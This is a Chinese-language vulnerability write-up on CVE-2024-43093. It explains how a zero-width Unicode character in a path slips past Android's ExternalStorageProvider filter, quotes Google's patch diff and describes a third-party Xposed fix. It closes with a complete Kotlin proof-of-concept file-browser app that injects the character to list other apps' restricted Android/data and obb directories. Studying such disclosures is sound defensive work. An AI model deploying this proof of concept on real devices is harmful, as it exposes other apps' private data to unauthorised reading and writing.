Android CVE 2024‑43093 漏洞分析
简介
CVE‑2024‑43093 是一个 Android 框架组件中的权限提升漏洞,其成因核心是文件路径过滤器在处理包含 Unicode 字符的路径时存在逻辑问题。出人意料的是,至今仍有不少安卓设备没有修复这个漏洞。使用 DuckDetector 可以检测这个漏洞在当前设备上是否修补。
成因
产生问题的代码位于 com/android/externalstorage/ExternalStorageProvider.java 中的 shouldHideDocument 函数。路径检查逻辑首先对文件路径进行规范化,本意是为了能正确匹配过滤规则,防止特殊字符注入。但是这种规范化不能防范所有字符的情况,例如零宽空格。如果在访问路径中插入零宽空格,那么就能绕过这个过滤规则,读写 /sdcard/Android/{data,obb}/<package> 任意目录。
修复
Google 早在 2024 年已尝试修复这个漏洞,将路径过滤规则从简单的正则匹配改为使用 Java File 逐级遍历验证路径是否相同,但仍然无法阻挡这个漏洞。修复 patch diff 如下:
@@ -16,8 +16,6 @@
package com.android.externalstorage;
-import static java.util.regex.Pattern.CASE_INSENSITIVE;
-
import android.annotation.NonNull;
import android.annotation.Nullable;
import android.app.usage.StorageStatsManager;
@@ -61,12 +59,15 @@
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.PrintWriter;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Arrays;
import java.util.Collections;
import java.util.List;
import java.util.Locale;
import java.util.Objects;
import java.util.UUID;
-import java.util.regex.Pattern;
+import java.util.stream.Collectors;
/**
* Presents content of the shared (a.k.a. "external") storage.
@@ -89,12 +90,9 @@
private static final Uri BASE_URI =
new Uri.Builder().scheme(ContentResolver.SCHEME_CONTENT).authority(AUTHORITY).build();
- /**
- * Regex for detecting {@code /Android/data/}, {@code /Android/obb/} and
- * {@code /Android/sandbox/} along with all their subdirectories and content.
- */
- private static final Pattern PATTERN_RESTRICTED_ANDROID_SUBTREES =
- Pattern.compile("^Android/(?:data|obb|sandbox)(?:/.+)?", CASE_INSENSITIVE);
+ private static final String PRIMARY_EMULATED_STORAGE_PATH = "/storage/emulated/";
+
+ private static final String STORAGE_PATH = "/storage/";
private static final String[] DEFAULT_ROOT_PROJECTION = new String[] {
Root.COLUMN_ROOT_ID, Root.COLUMN_FLAGS, Root.COLUMN_ICON, Root.COLUMN_TITLE,
@@ -309,11 +307,70 @@
return false;
}
- final String path = getPathFromDocId(documentId);
- return PATTERN_RESTRICTED_ANDROID_SUBTREES.matcher(path).matches();
+ try {
+ final RootInfo root = getRootFromDocId(documentId);
+ final String canonicalPath = getPathFromDocId(documentId);
+ return isRestrictedPath(root.rootId, canonicalPath);
+ } catch (Exception e) {
+ return true;
+ }
}
/**
+ * Based on the given root id and path, we restrict path access if file is Android/data or
+ * Android/obb or Android/sandbox or one of their subdirectories.
+ *
+ * @param canonicalPath of the file
+ * @return true if path is restricted
+ */
+ private boolean isRestrictedPath(String rootId, String canonicalPath) {
+ if (rootId == null || canonicalPath == null) {
+ return true;
+ }
+
+ final String rootPath;
+ if (rootId.equalsIgnoreCase(ROOT_ID_PRIMARY_EMULATED)) {
+ // Creates "/storage/emulated/<user-id>"
+ rootPath = PRIMARY_EMULATED_STORAGE_PATH + UserHandle.myUserId();
+ } else {
+ // Creates "/storage/<volume-uuid>"
+ rootPath = STORAGE_PATH + rootId;
+ }
+ List<java.nio.file.Path> restrictedPathList = Arrays.asList(
+ Paths.get(rootPath, "Android", "data"),
+ Paths.get(rootPath, "Android", "obb"),
+ Paths.get(rootPath, "Android", "sandbox"));
+ // We need to identify restricted parent paths which actually exist on the device
+ List<java.nio.file.Path> validRestrictedPathsToCheck = restrictedPathList.stream().filter(
+ Files::exists).collect(Collectors.toList());
+
+ boolean isRestricted = false;
+ java.nio.file.Path filePathToCheck = Paths.get(rootPath, canonicalPath);
+ try {
+ while (filePathToCheck != null) {
+ for (java.nio.file.Path restrictedPath : validRestrictedPathsToCheck) {
+ if (Files.isSameFile(restrictedPath, filePathToCheck)) {
+ isRestricted = true;
+ Log.v(TAG, "Restricting access for path: " + filePathToCheck);
+ break;
+ }
+ }
+ if (isRestricted) {
+ break;
+ }
+
+ filePathToCheck = filePathToCheck.getParent();
+ }
+ } catch (Exception e) {
+ Log.w(TAG, "Error in checking file equality check.", e);
+ isRestricted = true;
+ }
+
+ return isRestricted;
+ }
+
+
+ /**
* Check that the directory is the root of storage or blocked file from tree.
* <p>
* Note, that this is different from hidden documents: blocked documents <b>WILL</b> appear后来 Google 也尝试直接在内核中修改 F2FS 文件系统,但也未能完成修复。(据说还因把 F2FS 弄坏了被 Linus 批评。)真正的修复可以参考 5ec1cff 编写的 Xposed 模块。我用 jadx 逆向分析了一下,这个模块在 Xposed entry 中对 com.android.providers.media.module 注入了一个动态链接库 fusefixer.so:
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) {
if ("com.android.providers.media.module".equals(loadPackageParam.packageName) || "com.google.android.providers.media.module".equals(loadPackageParam.packageName)) {
System.loadLibrary("fusefixer");
Log.d("FuseFixer", "injected");
new Handler(Looper.getMainLooper()).post(new RunnableC0016i(0, this));
}
}在其中又 hook 了 libfuse_jni.so 中的 is_package_owned_path、is_app_accessible_path 和 is_bpf_backing_path。替换后的函数做了以下操作:
- 先判断输入字符串是否包含需要处理的 Unicode 字符;
- 如果需要处理,复制出一份可写字符串,扫描该字符串并移除非法字符;
- 调用原始函数,修改传入参数为清洗后的字符串。
据说 Google 在 2026 年一月更新中再次修补了这个漏洞,等我的设备收到更新后我将再次验证。
复现
由于这是一个披露已久的漏洞,所以应该可以展示复现过程。其实只需要简单编写一个类似文件管理器的程序(我这里选用 Jetpack Compose 框架),让用户输入路径支持 Unicode 转义符或自行插入零宽 Unicode 字符就可以了。我在目前最新的澎湃 OS 3.0.5.0 仍能成功复现这个漏洞。
package cn.pwnerik.pathescape
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.compose.foundation.clickable
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.lazy.LazyColumn
import androidx.compose.foundation.lazy.items
import androidx.compose.material3.*
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.text.TextRange
import androidx.compose.ui.text.input.TextFieldValue
import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp
import cn.pwnerik.pathescape.ui.theme.PathEscapeTheme
import java.io.File
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
enableEdgeToEdge()
setContent {
PathEscapeTheme {
Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
FileExplorer(
modifier = Modifier.padding(innerPadding)
)
}
}
}
}
}
fun unescapeUnicode(input: String): String {
val regex = Regex("\\\\u([0-9a-fA-F]{4})")
return regex.replace(input) {
try {
it.groupValues[1].toInt(16).toChar().toString()
} catch (_: Exception) {
it.value
}
}
}
fun escapeUnicode(input: String): String {
val sb = StringBuilder()
for (char in input) {
if (char.code !in 32..126) {
sb.append(String.format("\\u%04x", char.code))
} else {
sb.append(char)
}
}
return sb.toString()
}
@Composable
fun FileExplorer(modifier: Modifier = Modifier) {
var pathValue by remember { mutableStateOf(TextFieldValue("")) }
var files by remember { mutableStateOf(listOf<File>()) }
var parentDir by remember { mutableStateOf<File?>(null) }
var errorMessage by remember { mutableStateOf<String?>(null) }
var hasStarted by remember { mutableStateOf(false) }
fun listFiles(path: String) {
val decodedPath = unescapeUnicode(path)
val directory = File(decodedPath)
// Always update the input box to show the normalized escaped path
val escapedPath = escapeUnicode(directory.absolutePath)
pathValue = TextFieldValue(
text = escapedPath,
selection = TextRange(escapedPath.length)
)
try {
if (directory.exists() && directory.isDirectory) {
val list = directory.listFiles()
files = list?.toList()?.sortedWith(compareBy({ !it.isDirectory }, { it.name.lowercase() })) ?: emptyList()
parentDir = directory.parentFile
errorMessage = null
hasStarted = true
} else {
errorMessage = "无效的目录路径: $decodedPath"
files = emptyList()
parentDir = null
}
} catch (e: Exception) {
errorMessage = "错误: ${e.message}"
files = emptyList()
parentDir = null
}
}
fun insertAtCursor(textToInsert: String) {
val text = pathValue.text
val selection = pathValue.selection
val newText = text.take(selection.start) + textToInsert + text.substring(selection.end)
val newCursorPosition = selection.start + textToInsert.length
pathValue = TextFieldValue(
text = newText,
selection = TextRange(newCursorPosition)
)
}
Column(
modifier = modifier
.fillMaxSize()
.padding(16.dp)
) {
Row(
modifier = Modifier.fillMaxWidth(),
verticalAlignment = Alignment.CenterVertically
) {
TextField(
value = pathValue,
onValueChange = { pathValue = it },
modifier = Modifier.weight(1f),
label = { Text("目录路径") },
singleLine = true
)
Spacer(modifier = Modifier.width(8.dp))
Button(onClick = { listFiles(pathValue.text) }) {
Text("列出")
}
}
Spacer(modifier = Modifier.height(8.dp))
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.spacedBy(8.dp)
) {
OutlinedButton(onClick = { insertAtCursor("/storage/emulated/0") }) {
Text("主目录")
}
OutlinedButton(onClick = { insertAtCursor("\\u200d") }) {
Text("零宽空格")
}
OutlinedButton(onClick = { pathValue = TextFieldValue("", TextRange.Zero) }) {
Text("清空")
}
}
Spacer(modifier = Modifier.height(16.dp))
if (errorMessage != null) {
Text(
text = errorMessage!!,
color = MaterialTheme.colorScheme.error,
modifier = Modifier.padding(bottom = 8.dp)
)
}
LazyColumn(modifier = Modifier.fillMaxSize()) {
// Add parent directory link if not at root and after first listing
if (hasStarted && parentDir != null) {
item {
FileItem(
name = "..",
isDirectory = true,
onClick = { listFiles(parentDir!!.absolutePath) }
)
HorizontalDivider(modifier = Modifier.padding(vertical = 4.dp), thickness = 0.5.dp)
}
}
items(files) { file ->
FileItem(
name = file.name,
isDirectory = file.isDirectory,
onClick = {
if (file.isDirectory) {
listFiles(file.absolutePath)
}
}
)
HorizontalDivider(modifier = Modifier.padding(vertical = 4.dp), thickness = 0.5.dp)
}
}
}
}
@Composable
fun FileItem(name: String, isDirectory: Boolean, onClick: () -> Unit) {
val type = if (isDirectory) "[目录] " else "[文件] "
Text(
text = "$type$name",
modifier = Modifier
.fillMaxWidth()
.clickable(onClick = onClick)
.padding(vertical = 12.dp),
style = MaterialTheme.typography.bodyLarge
)
}
@Preview(showBackground = true)
@Composable
fun FileExplorerPreview() {
PathEscapeTheme {
FileExplorer()
}
}